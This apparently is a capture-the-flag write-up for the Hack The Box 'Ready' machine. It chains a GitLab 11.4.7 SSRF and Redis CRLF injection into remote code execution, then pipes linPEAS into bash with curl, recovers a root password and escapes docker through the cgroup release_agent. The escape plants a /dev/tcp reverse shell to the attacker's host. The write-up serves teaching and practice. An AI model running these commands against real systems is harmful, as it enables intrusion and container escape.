Recon
Nmap scan
Lets start with enumerating the open ports on the machine.
1 | ┌─[user@parrot]─[~/Desktop/htb/ready] |
We observe that two ports are open in this machine. Port 22 which is standard
for SSH connections and port 5080 which is hosting GitLab.
Port 22 does not seem to be vulnerable so let’s focus on port 5080.
GitLab
Lets open GitLab in the browser
http://10.10.10.220:5080
Lets try and see if we can register for an account.
The registration was successful, after poking it around for a bit, we notice
the GitLab version number which is 11.4.7.
After searching for vulnerabilities on this specific version, I found a video
by LiveOverFlow explaining this vulnerability. I highly recommend watching
this video: youtube link
Foothold
Scrutinizing the commits from the official GitLab repo, we find GitLab 11.4.7
has the following security issues:
ssrf (server side request forgery)
SSRF in our case is used to bypass the block url check in ‘import project from
url’.
Exploit
After searching about the security issue, the exploit method is as follows
SSRF -> Redis -> RCE
But redis has implemented a procedure to counter this specific attack, and it
will disconnect when a POST or ‘Host:’ header is sent.
We can then use the CRLF Carriage Return and Line Feed to insert ‘\n’ in front
of ‘Host:’ to avoid redis attack checks.
So are modified exploit method is as follows
SSRF -> Redis -> CRLF -> RCE
As mentioned in the video, we use this PoC on GitLab for RCE:
1 | A |
We create a new project in GitLab
In Import project > Repo by url > Git repository URL we utilize the above
SSRF.
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test
We now submit and then intercept the request using burpsuite.
We start a netcat listener on our local machine.
We then change the request in burpsuite to the following:
1 | multi |
We send the request and get the following response along with a reverse shell
on our listener.
We now find whether python is available, to get a tty.
Python is installed and we run the following command to get tty.
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' |
We now navigate around the box to get the user flag.
Privilege Esclation
linPEAS
Now lets use linPEAS for privesc enumeration.
1 | python -m http.server 8081 |
1 | git@gitlab:~$ curl http://10.10.16.21:8081/linpeas.sh | bash |
We see an odd directory in /opt/
Finding in the directory for potential passwords using the following command
and we get a password.
1 | cat * | grep password |
wW59U!ZKMbG9+*#h
We try switch the user to root with the above password, and the password
works.
Now lets get the root flag and we’re done.
Something’s wrong, we are getting a file not found error for the root flag.
This generally means the box needs a reset.
After multiple resets, the root.txt file was missing. So now its clear that we
are in some kind of protected environment.
Breaking out of docker environment
We notice that we are in a docker environment, and need to break out from
it.
I found this awesome guide to do it.
The –privileged flag introduces significant security concerns, and the
exploit relies on launching a docker container with it enabled. When using
this flag, containers have full access to all devices.mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
echo “$host_path/cmd” > /tmp/cgrp/release_agent#For a normal PoC =================
echo ‘#!/bin/sh’ > /cmd
echo “ps aux > $host_path/output” >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo ‘#!/bin/bash’ > /cmd
echo “bash -i >& /dev/tcp/10.10.16.21/9777 0>&1” >> /cmd
chmod a+x /cmd
#===================================sh -c “echo $$ > /tmp/cgrp/x/cgroup.procs”
head /output
We run the above commands one by one in the docker environment.
We also start a netcat listner on our local machine to get the reverse shell.
And finally we get the root flag.
About this Post
This post is written by Gliston, licensed under CC BY-NC 4.0.